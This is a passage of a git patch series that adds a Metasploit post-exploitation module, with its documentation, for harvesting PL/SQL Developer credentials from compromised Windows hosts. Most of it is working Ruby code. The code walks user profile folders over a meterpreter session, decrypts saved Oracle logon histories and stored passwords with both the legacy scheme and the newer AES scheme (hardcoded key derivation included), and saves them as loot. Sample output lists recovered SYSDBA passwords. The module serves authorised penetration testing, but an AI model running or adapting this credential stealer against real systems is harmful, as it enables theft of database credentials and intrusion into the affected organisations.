From 013e4b5af264f6f84c63d6613e7145405e3c13d9 Mon Sep 17 00:00:00 2001 From: Jemmy Wang Date: Thu, 26 Oct 2023 19:38:02 +0800 Subject: [PATCH 1/8] Add Module for PL/SQL Developer to gather credentials --- .../gather/credentials/plsql_developer.rb | 131 ++++++++++++++++++ 1 file changed, 131 insertions(+) create mode 100644 modules/post/windows/gather/credentials/plsql_developer.rb diff --git a/modules/post/windows/gather/credentials/plsql_developer.rb b/modules/post/windows/gather/credentials/plsql_developer.rb new file mode 100644 index 000000000000..1208990320a6 --- /dev/null +++ b/modules/post/windows/gather/credentials/plsql_developer.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::UserProfiles + include Msf::Post::File + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Gather PL/SQL Developer History and Passwords', + 'Description' => %q{ + This module can decrypt the history of PL/SQL Deceloper, + and passwords are available if the user chooses to remember the password. + }, + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/'] + ], + 'Author' => [ + 'Jemmy Wang' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_fs_ls + stdapi_fs_separator + stdapi_fs_stat + ] + } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + register_options( + [ + OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']), + ] + ) + end + + def decrypt(str) + result = '' + key = str[0..3].to_i + for i in 1..(str.length / 4 - 1) do + n = str[(i * 4)..(i * 4 + 3)].to_i + result << (((n - 1000) ^ (key + i * 10)) >> 4).chr + end + return result + end + + def decrypt_pref(file_name) + file_contents = read_file(file_name) + if file_contents.nil? || file_contents.empty? + print_status "Skipping empty file: #{file_name}" + return [] + end + + print_status("Decrypting #{file_name}") + result = [] + + decrypting = false + file_contents.split("\n").each do |line| + line.gsub!(/(\n|\r)/, '') + + if !decrypting && line != '[LogonHistory]' + next + elsif line == '[LogonHistory]' + decrypting = true + next + elsif line == '' + decrypting = false + next + end + + result << { history: decrypt(line) } + end + + return result + end + + def enumerate_pref(plsql_path) + result = [] + pref_dir = plsql_path + session.fs.file.separator + 'Preferences' + session.fs.dir.entries(pref_dir).each do |username| + udir = pref_dir + session.fs.file.separator + username + file_name = udir + session.fs.file.separator + 'user.prefs' + + result << file_name if directory?(udir) && file?(file_name) + end + + return result + end + + def run + print_status("Gather PL/SQL Developer History and Passwords on #{sysinfo['Computer']}") + profiles = grab_user_profiles + pref_paths = [] + + profiles.each { |user_profiles| pref_paths += enumerate_pref(user_profiles['AppData'] + session.fs.file.separator + 'PLSQL Developer') } + pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present? + + result = [] + pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) } + + tbl = Rex::Text::Table.new( + 'Header' => 'PL/SQL Developer History and Passwords', + 'Columns' => ['History'] + ) + + result.each do |item| + tbl << item.values + end + + print_line(tbl.to_s) + # Only save data to disk when there's something in the table + if tbl.rows.count > 0 + path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer History and Passwords') + print_good("Passwords stored in: #{path}") + end + end +end From d07ad325b2fea147a984baa01feb22a909dcaf8b Mon Sep 17 00:00:00 2001 From: Jemmy Wang Date: Thu, 26 Oct 2023 19:38:52 +0800 Subject: [PATCH 2/8] Add document for PL/SQL Developer gather credential module --- .../gather/credentials/plsql_developer.md | 43 +++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 documentation/modules/post/windows/gather/credentials/plsql_developer.md diff --git a/documentation/modules/post/windows/gather/credentials/plsql_developer.md b/documentation/modules/post/windows/gather/credentials/plsql_developer.md new file mode 100644 index 000000000000..63b20f421719 --- /dev/null +++ b/documentation/modules/post/windows/gather/credentials/plsql_developer.md @@ -0,0 +1,43 @@ +## Vulnerable Application + +This module can decrypt the history of PL/SQL Deceloper, and passwords are available if the user chooses to remember the password. + + Analysis of encryption algorithm [here](https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/). + + You can find its official website [here](https://www.allroundautomations.com/products/pl-sql-developer/). + +## Verification Steps + + 1. Download and install PL/SQL Developer. + 2. (Optional) Change the PL/SQL Developer preference to save the passwords. + 3. Use PL/SQL Developer to log in to oracle databases. + 4. Get a `meterpreter` session on a Windows host. + 5. Do: ```run post/windows/gather/credentials/plsql_developer``` + 6. The username, password (only when configured to save passwords), SID of logon histories will be printed. + +## Options + + **PLSQL_PATH** + + - Specify the path of PL/SQL Developer + +## Scenarios + +``` +meterpreter > run windows/gather/credentials/plsql_developer + +[*] Gather PL/SQL Developer History and Passwords on WIN-XXXXXXXXXXX +[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs +PL/SQL Developer History and Passwords +====================================== + +History +------- +sys/oracle@ORCL AS SYSDBA +test1/@ORCL +test2/password2@ORCL +user/password@server + +[+] Passwords stored in: C:/Users/Administrator/.msf4/loot/20231026190630_default_127.0.0.1_host.plsql_devel_674990.txt +meterpreter > +``` From 93c13ad6a74b66f82d03eed01ba2dfb60086a60e Mon Sep 17 00:00:00 2001 From: Jemmy Wang Date: Fri, 27 Oct 2023 02:02:00 +0800 Subject: [PATCH 3/8] Apply document suggestions from code review Co-authored-by: jheysel-r7 --- .../post/windows/gather/credentials/plsql_developer.md | 6 ++---- modules/post/windows/gather/credentials/plsql_developer.rb | 5 +++-- 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/documentation/modules/post/windows/gather/credentials/plsql_developer.md b/documentation/modules/post/windows/gather/credentials/plsql_developer.md index 63b20f421719..812d3c9dfd30 100644 --- a/documentation/modules/post/windows/gather/credentials/plsql_developer.md +++ b/documentation/modules/post/windows/gather/credentials/plsql_developer.md @@ -1,10 +1,8 @@ ## Vulnerable Application This module can decrypt the history of PL/SQL Deceloper, and passwords are available if the user chooses to remember the password. - - Analysis of encryption algorithm [here](https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/). - - You can find its official website [here](https://www.allroundautomations.com/products/pl-sql-developer/). +Analysis of encryption algorithm [here](https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/). +You can find its official website [here](https://www.allroundautomations.com/products/pl-sql-developer/). ## Verification Steps diff --git a/modules/post/windows/gather/credentials/plsql_developer.rb b/modules/post/windows/gather/credentials/plsql_developer.rb index 1208990320a6..0ca6e2b8a24e 100644 --- a/modules/post/windows/gather/credentials/plsql_developer.rb +++ b/modules/post/windows/gather/credentials/plsql_developer.rb @@ -13,7 +13,7 @@ def initialize(info = {}) info, 'Name' => 'Windows Gather PL/SQL Developer History and Passwords', 'Description' => %q{ - This module can decrypt the history of PL/SQL Deceloper, + This module can decrypt the history of a PL/SQL Developer, and passwords are available if the user chooses to remember the password. }, 'License' => MSF_LICENSE, @@ -21,7 +21,8 @@ def initialize(info = {}) [ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/'] ], 'Author' => [ - 'Jemmy Wang' + 'Adam Caudill' # Discovery + 'Jemmy Wang' # msf module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], From 763fae6cd775ae7890b26b9ef61ee8cf35e764b4 Mon Sep 17 00:00:00 2001 From: Jemmy Wang Date: Thu, 2 Nov 2023 10:41:53 +0800 Subject: [PATCH 4/8] Fix typo to pass msftidy --- modules/post/windows/gather/credentials/plsql_developer.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/plsql_developer.rb b/modules/post/windows/gather/credentials/plsql_developer.rb index 0ca6e2b8a24e..e05606fe0017 100644 --- a/modules/post/windows/gather/credentials/plsql_developer.rb +++ b/modules/post/windows/gather/credentials/plsql_developer.rb @@ -21,8 +21,8 @@ def initialize(info = {}) [ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/'] ], 'Author' => [ - 'Adam Caudill' # Discovery - 'Jemmy Wang' # msf module + 'Adam Caudill', # Discovery + 'Jemmy Wang' # msf module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], From d4166098a8912d8befbaa8a57e5f7523ba45cb2b Mon Sep 17 00:00:00 2001 From: Jemmy Wang Date: Wed, 8 Nov 2023 01:15:22 +0800 Subject: [PATCH 5/8] Update to be compatible for PL/SQL 14 --- .../gather/credentials/plsql_developer.md | 42 +++-- .../gather/credentials/plsql_developer.rb | 149 ++++++++++++++++-- 2 files changed, 159 insertions(+), 32 deletions(-) diff --git a/documentation/modules/post/windows/gather/credentials/plsql_developer.md b/documentation/modules/post/windows/gather/credentials/plsql_developer.md index 812d3c9dfd30..d2e34e0d3d97 100644 --- a/documentation/modules/post/windows/gather/credentials/plsql_developer.md +++ b/documentation/modules/post/windows/gather/credentials/plsql_developer.md @@ -1,17 +1,23 @@ ## Vulnerable Application -This module can decrypt the history of PL/SQL Deceloper, and passwords are available if the user chooses to remember the password. +This module can decrypt the histories and connection credentials of PL/SQL Developer, +and passwords are available if the user chooses to remember. + +Note: This module can only decrypt the passwords of PL/SQL Developer 14 and earlier versions. +The passwords of PL/SQL Developer 15 and later versions are encrypted with a new algorithm, +which is not supported by this module. + Analysis of encryption algorithm [here](https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/). You can find its official website [here](https://www.allroundautomations.com/products/pl-sql-developer/). ## Verification Steps - 1. Download and install PL/SQL Developer. + 1. Download and install PL/SQL Developer 14 or earlier versions. 2. (Optional) Change the PL/SQL Developer preference to save the passwords. - 3. Use PL/SQL Developer to log in to oracle databases. + 3. Use PL/SQL Developer to log in to oracle databases. Or add a connection in PL/SQL Developer manually. 4. Get a `meterpreter` session on a Windows host. - 5. Do: ```run post/windows/gather/credentials/plsql_developer``` - 6. The username, password (only when configured to save passwords), SID of logon histories will be printed. + 5. Do: `run post/windows/gather/credentials/plsql_developer` + 6. The username, password, SID of connections will be printed. ## Options @@ -24,18 +30,20 @@ You can find its official website [here](https://www.allroundautomations.com/pro ``` meterpreter > run windows/gather/credentials/plsql_developer -[*] Gather PL/SQL Developer History and Passwords on WIN-XXXXXXXXXXX +[*] Gather PL/SQL Developer Histories and Connections on WIN-XXXXXXXXXXX [*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs -PL/SQL Developer History and Passwords -====================================== - -History -------- -sys/oracle@ORCL AS SYSDBA -test1/@ORCL -test2/password2@ORCL -user/password@server - -[+] Passwords stored in: C:/Users/Administrator/.msf4/loot/20231026190630_default_127.0.0.1_host.plsql_devel_674990.txt +[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs +PL/SQL Developer Histories and Credentials +========================================== + +DisplayName Username Database ConnectAs Password FilePath +----------- -------- -------- --------- -------- -------- + user server Normal password C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs + sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs + test1 ORCL Normal C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs + test2 ORCL Normal password2 C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs +Imported History/ASD eee ttt Normal asdfg C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs + +[+] Passwords stored in: C:/Users/Administrator/.msf4/loot/20231108010519_default_172.18.14.79_host.plsql_devel_637423.txt meterpreter > ``` diff --git a/modules/post/windows/gather/credentials/plsql_developer.rb b/modules/post/windows/gather/credentials/plsql_developer.rb index e05606fe0017..000eda3d9879 100644 --- a/modules/post/windows/gather/credentials/plsql_developer.rb +++ b/modules/post/windows/gather/credentials/plsql_developer.rb @@ -11,10 +11,10 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Windows Gather PL/SQL Developer History and Passwords', + 'Name' => 'Windows Gather PL/SQL Developer Connection Credentials', 'Description' => %q{ - This module can decrypt the history of a PL/SQL Developer, - and passwords are available if the user chooses to remember the password. + This module can decrypt the histories and connection credentials of PL/SQL Developer, + and passwords are available if the user chooses to remember. }, 'License' => MSF_LICENSE, 'References' => [ @@ -49,7 +49,7 @@ def initialize(info = {}) ) end - def decrypt(str) + def decrypt_str_legacy(str) result = '' key = str[0..3].to_i for i in 1..(str.length / 4 - 1) do @@ -59,6 +59,55 @@ def decrypt(str) return result end + def decrypt_str(str) + if str == '' + return '' + end + + if str.match(/^\d{8,}$/) && str.length % 4 == 0 + return decrypt_str_legacy(str) + end + + print_warning('The password encryption algorithm has changed since PL/SQL Developer 15 and this module have not supported it.') + return '[Not Supported]' + end + + def parse_history(str) + result = { DisplayName: '', Username: '', Database: '', ConnectAs: '', Password: '', Parent: '-1' } + + if str.end_with?(' AS SYSDBA') + result[:ConnectAs] = 'SYSDBA' + str = str[0..-11] + elsif str.end_with?(' AS SYSOPER') + result[:ConnectAs] = 'SYSOPER' + str = str[0..-12] + else + result[:ConnectAs] = 'Normal' + end + + # Database should be the last part after '@' sign + ind = str.rindex('@') + if ind.nil? + # Unexpected format, just use the whole string as DisplayName + result[:DisplayName] = str + return result + end + + result[:Database] = str[(ind + 1)..] + str = str[0..(ind - 1)] + + unless str.count('/') == 1 + # Unexpected format, just use the whole string as DisplayName + result[:DisplayName] = str + return result + end + + result[:Username] = str[0..(str.index('/') - 1)] + result[:Password] = str[(str.index('/') + 1)..] + + return result + end + def decrypt_pref(file_name) file_contents = read_file(file_name) if file_contents.nil? || file_contents.empty? @@ -69,21 +118,84 @@ def decrypt_pref(file_name) print_status("Decrypting #{file_name}") result = [] - decrypting = false + logon_history_section = false + connections_section = false + + # Keys that we care about + keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password] + # Initialize obj with empty values + obj = Hash[keys.map { |k| [k.to_sym, ''] }] + # Folders + folders = {} + file_contents.split("\n").each do |line| line.gsub!(/(\n|\r)/, '') - if !decrypting && line != '[LogonHistory]' + if line == '[LogonHistory]' && !(logon_history_section || connections_section) + logon_history_section = true next - elsif line == '[LogonHistory]' - decrypting = true + elsif line == '[Connections]' && !(logon_history_section || connections_section) + connections_section = true next elsif line == '' - decrypting = false + logon_history_section = false + connections_section = false next end - result << { history: decrypt(line) } + if logon_history_section + # Contents in [LogonHistory] section is plain encrypted strings + result << parse_history(decrypt_str_legacy(line)) + elsif connections_section + # Contents in [Connections] section is key-value pairs + ind = line.index('=') + if ind.nil? + print_error("Invalid line: #{line}") + next + end + + key = line[0..(ind - 1)] + value = line[(ind + 1)..] + + if key == 'Password' + obj[:Password] = decrypt_str(value) + elsif obj.key?(key.to_sym) + obj[key.to_sym] = value + end + + # Color is the last field of a connection + if key == 'Color' + if obj[:IsFolder] != '1' + result << obj + else + folders[obj[:Number]] = obj + end + + # Reset obj + obj = Hash[keys.map { |k| [k.to_sym, ''] }] + end + + end + end + + result.each do |item| + pitem = item + while pitem[:Parent] != '-1' + pitem = folders[pitem[:Parent]] + if pitem.nil? + print_error("Invalid parent: #{item[:Parent]}") + break + end + item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName] + end + + # Remove fields used to build the display name + item.delete(:Parent) + item.delete(:Number) + item.delete(:IsFolder) + + # Add file path + item[:FilePath] = file_name end return result @@ -103,19 +215,26 @@ def enumerate_pref(plsql_path) end def run - print_status("Gather PL/SQL Developer History and Passwords on #{sysinfo['Computer']}") + print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}") profiles = grab_user_profiles pref_paths = [] - profiles.each { |user_profiles| pref_paths += enumerate_pref(user_profiles['AppData'] + session.fs.file.separator + 'PLSQL Developer') } + profiles.each do |user_profiles| + session.fs.dir.entries(user_profiles['AppData']).each do |dirname| + if dirname.start_with?('PLSQL Developer') + search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname + pref_paths += enumerate_pref(search_dir) + end + end + end pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present? result = [] pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) } tbl = Rex::Text::Table.new( - 'Header' => 'PL/SQL Developer History and Passwords', - 'Columns' => ['History'] + 'Header' => 'PL/SQL Developer Histories and Credentials', + 'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath'] ) result.each do |item| @@ -125,7 +244,7 @@ def run print_line(tbl.to_s) # Only save data to disk when there's something in the table if tbl.rows.count > 0 - path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer History and Passwords') + path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials') print_good("Passwords stored in: #{path}") end end From 9c23f86d83946480c3b3c8d92b4156cf23e3e6cc Mon Sep 17 00:00:00 2001 From: Jemmy Wang Date: Thu, 9 Nov 2023 05:08:27 +0800 Subject: [PATCH 6/8] Add support for v15 new encryption algorithm --- .../gather/credentials/plsql_developer.md | 24 +++++++------- .../gather/credentials/plsql_developer.rb | 33 +++++++++++++++---- 2 files changed, 37 insertions(+), 20 deletions(-) diff --git a/documentation/modules/post/windows/gather/credentials/plsql_developer.md b/documentation/modules/post/windows/gather/credentials/plsql_developer.md index d2e34e0d3d97..383309a36a03 100644 --- a/documentation/modules/post/windows/gather/credentials/plsql_developer.md +++ b/documentation/modules/post/windows/gather/credentials/plsql_developer.md @@ -3,16 +3,12 @@ This module can decrypt the histories and connection credentials of PL/SQL Developer, and passwords are available if the user chooses to remember. -Note: This module can only decrypt the passwords of PL/SQL Developer 14 and earlier versions. -The passwords of PL/SQL Developer 15 and later versions are encrypted with a new algorithm, -which is not supported by this module. - Analysis of encryption algorithm [here](https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/). You can find its official website [here](https://www.allroundautomations.com/products/pl-sql-developer/). ## Verification Steps - 1. Download and install PL/SQL Developer 14 or earlier versions. + 1. Download and install PL/SQL Developer. 2. (Optional) Change the PL/SQL Developer preference to save the passwords. 3. Use PL/SQL Developer to log in to oracle databases. Or add a connection in PL/SQL Developer manually. 4. Get a `meterpreter` session on a Windows host. @@ -33,17 +29,19 @@ meterpreter > run windows/gather/credentials/plsql_developer [*] Gather PL/SQL Developer Histories and Connections on WIN-XXXXXXXXXXX [*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs [*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs +[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs PL/SQL Developer Histories and Credentials ========================================== -DisplayName Username Database ConnectAs Password FilePath ------------ -------- -------- --------- -------- -------- - user server Normal password C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs - sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs - test1 ORCL Normal C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs - test2 ORCL Normal password2 C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs -Imported History/ASD eee ttt Normal asdfg C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs +DisplayName Username Database ConnectAs Password FilePath +----------- -------- -------- --------- -------- -------- + sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs + test1 ORCL Normal C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs + test2 ORCL Normal password2 C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs + user server Normal password C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs +Imported Fixed Users/Test sys ORCL SYSDBA pass C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs +Imported History/Test sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs -[+] Passwords stored in: C:/Users/Administrator/.msf4/loot/20231108010519_default_172.18.14.79_host.plsql_devel_637423.txt +[+] Passwords stored in: C:/Users/Administrator/.msf4/loot/20231109050433_default_127.0.0.1_host.plsql_devel_357810.txt meterpreter > ``` diff --git a/modules/post/windows/gather/credentials/plsql_developer.rb b/modules/post/windows/gather/credentials/plsql_developer.rb index 000eda3d9879..e67cb8646118 100644 --- a/modules/post/windows/gather/credentials/plsql_developer.rb +++ b/modules/post/windows/gather/credentials/plsql_developer.rb @@ -59,19 +59,36 @@ def decrypt_str_legacy(str) return result end + # New encryption algorithm introduced since PL/SQL Developer 15.0 + def decrypt_str_aes(str) + bytes = Rex::Text.decode_base64(str) + + cipher = OpenSSL::Cipher.new('aes-256-cfb8') + cipher.decrypt + cipher.key = "\x9C\x1C\xEE\xF3\x8A\x3A\x24\x86\x0C\x3D\x2E\x85\xD2\x9E\x7A\x70\x34\xC1\xD8\x5F\x9C\x1C\xEE\xF3\x8A\x3A\x24\x86\x0C\x3D\x2E\x85" + cipher.iv = bytes[0..7] + "\x00" * 8 + + return cipher.update(bytes[8..]) + cipher.final + end + def decrypt_str(str) + # Empty string if str == '' return '' end if str.match(/^\d{8,}$/) && str.length % 4 == 0 - return decrypt_str_legacy(str) + return decrypt_str_legacy(str) # Legacy encryption + elsif str.match(/^X\.[A-Za-z0-9+]+={0,2}$/) + return decrypt_str_aes(str[2..]) # New aes encryption end - print_warning('The password encryption algorithm has changed since PL/SQL Developer 15 and this module have not supported it.') - return '[Not Supported]' + # Shouldn't reach here + print_error("Unknown encryption format: #{str}") + return '[Unknown]' end + # Parse and separate the history string def parse_history(str) result = { DisplayName: '', Username: '', Database: '', ConnectAs: '', Password: '', Parent: '-1' } @@ -125,7 +142,7 @@ def decrypt_pref(file_name) keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password] # Initialize obj with empty values obj = Hash[keys.map { |k| [k.to_sym, ''] }] - # Folders + # Folder parent objects folders = {} file_contents.split("\n").each do |line| @@ -144,10 +161,11 @@ def decrypt_pref(file_name) end if logon_history_section - # Contents in [LogonHistory] section is plain encrypted strings + # Contents in [LogonHistory] section are plain encrypted strings + # Calling the legacy decrypt function is intentional here result << parse_history(decrypt_str_legacy(line)) elsif connections_section - # Contents in [Connections] section is key-value pairs + # Contents in [Connections] section are key-value pairs ind = line.index('=') if ind.nil? print_error("Invalid line: #{line}") @@ -178,6 +196,7 @@ def decrypt_pref(file_name) end end + # Build display name (Add parent folder name to the beginning of the display name) result.each do |item| pitem = item while pitem[:Parent] != '-1' @@ -194,7 +213,7 @@ def decrypt_pref(file_name) item.delete(:Number) item.delete(:IsFolder) - # Add file path + # Add file path to the final result item[:FilePath] = file_name end From a4750b11bcb8a5aca4d7cbf0607dd6a573b90c0a Mon Sep 17 00:00:00 2001 From: Jemmy Wang Date: Thu, 9 Nov 2023 05:26:20 +0800 Subject: [PATCH 7/8] Optimize AES key --- modules/post/windows/gather/credentials/plsql_developer.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/plsql_developer.rb b/modules/post/windows/gather/credentials/plsql_developer.rb index e67cb8646118..6ac0b46ad9c4 100644 --- a/modules/post/windows/gather/credentials/plsql_developer.rb +++ b/modules/post/windows/gather/credentials/plsql_developer.rb @@ -65,7 +65,8 @@ def decrypt_str_aes(str) cipher = OpenSSL::Cipher.new('aes-256-cfb8') cipher.decrypt - cipher.key = "\x9C\x1C\xEE\xF3\x8A\x3A\x24\x86\x0C\x3D\x2E\x85\xD2\x9E\x7A\x70\x34\xC1\xD8\x5F\x9C\x1C\xEE\xF3\x8A\x3A\x24\x86\x0C\x3D\x2E\x85" + hash = Digest::SHA1.digest('PL/SQL developer + Oracle 11.0.x') + cipher.key = hash + hash[0..11] cipher.iv = bytes[0..7] + "\x00" * 8 return cipher.update(bytes[8..]) + cipher.final From 893da00c6a3af804aed5b0d02c577c5f3e95bbda Mon Sep 17 00:00:00 2001 From: Jemmy Wang Date: Thu, 9 Nov 2023 13:58:14 +0800 Subject: [PATCH 8/8] Modify Table DisplayName and password matching regex --- .../gather/credentials/plsql_developer.md | 16 +++++----- .../gather/credentials/plsql_developer.rb | 30 ++++++++++++------- 2 files changed, 27 insertions(+), 19 deletions(-) diff --git a/documentation/modules/post/windows/gather/credentials/plsql_developer.md b/documentation/modules/post/windows/gather/credentials/plsql_developer.md index 383309a36a03..18153d275ac7 100644 --- a/documentation/modules/post/windows/gather/credentials/plsql_developer.md +++ b/documentation/modules/post/windows/gather/credentials/plsql_developer.md @@ -33,14 +33,14 @@ meterpreter > run windows/gather/credentials/plsql_developer PL/SQL Developer Histories and Credentials ========================================== -DisplayName Username Database ConnectAs Password FilePath ------------ -------- -------- --------- -------- -------- - sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs - test1 ORCL Normal C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs - test2 ORCL Normal password2 C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs - user server Normal password C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs -Imported Fixed Users/Test sys ORCL SYSDBA pass C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs -Imported History/Test sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs +DisplayName Username Database ConnectAs Password FilePath +----------- -------- -------- --------- -------- -------- +[Connections]/Imported Fixed Users/Test sys ORCL SYSDBA pass C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs +[Connections]/Imported History/Test sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs +[LogonHistory] test2 ORCL Normal password2 C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs +[LogonHistory] test1 ORCL Normal C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs +[LogonHistory] sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs +[LogonHistory] user server Normal password C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs [+] Passwords stored in: C:/Users/Administrator/.msf4/loot/20231109050433_default_127.0.0.1_host.plsql_devel_357810.txt meterpreter > diff --git a/modules/post/windows/gather/credentials/plsql_developer.rb b/modules/post/windows/gather/credentials/plsql_developer.rb index 6ac0b46ad9c4..40871ba29a21 100644 --- a/modules/post/windows/gather/credentials/plsql_developer.rb +++ b/modules/post/windows/gather/credentials/plsql_developer.rb @@ -21,8 +21,8 @@ def initialize(info = {}) [ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/'] ], 'Author' => [ - 'Adam Caudill', # Discovery - 'Jemmy Wang' # msf module + 'Adam Caudill', # Discovery of legacy decryption algorithm + 'Jemmy Wang' # Msf module & Discovery of AES decryption algorithm ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], @@ -59,7 +59,7 @@ def decrypt_str_legacy(str) return result end - # New encryption algorithm introduced since PL/SQL Developer 15.0 + # New AES encryption algorithm introduced since PL/SQL Developer 15.0 def decrypt_str_aes(str) bytes = Rex::Text.decode_base64(str) @@ -78,10 +78,10 @@ def decrypt_str(str) return '' end - if str.match(/^\d{8,}$/) && str.length % 4 == 0 + if str.match(/^(\d{4})+$/) return decrypt_str_legacy(str) # Legacy encryption - elsif str.match(/^X\.[A-Za-z0-9+]+={0,2}$/) - return decrypt_str_aes(str[2..]) # New aes encryption + elsif str.match(%r{^X\.([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$}) + return decrypt_str_aes(str[2..]) # New AES encryption end # Shouldn't reach here @@ -91,7 +91,9 @@ def decrypt_str(str) # Parse and separate the history string def parse_history(str) - result = { DisplayName: '', Username: '', Database: '', ConnectAs: '', Password: '', Parent: '-1' } + # @keys is defined in decrypt_pref, and this function is called by decrypt_pref after @keys is defined + result = Hash[@keys.map { |k| [k.to_sym, ''] }] + result[:Parent] = '-2' if str.end_with?(' AS SYSDBA') result[:ConnectAs] = 'SYSDBA' @@ -140,9 +142,9 @@ def decrypt_pref(file_name) connections_section = false # Keys that we care about - keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password] + @keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password] # Initialize obj with empty values - obj = Hash[keys.map { |k| [k.to_sym, ''] }] + obj = Hash[@keys.map { |k| [k.to_sym, ''] }] # Folder parent objects folders = {} @@ -191,7 +193,7 @@ def decrypt_pref(file_name) end # Reset obj - obj = Hash[keys.map { |k| [k.to_sym, ''] }] + obj = Hash[@keys.map { |k| [k.to_sym, ''] }] end end @@ -200,7 +202,7 @@ def decrypt_pref(file_name) # Build display name (Add parent folder name to the beginning of 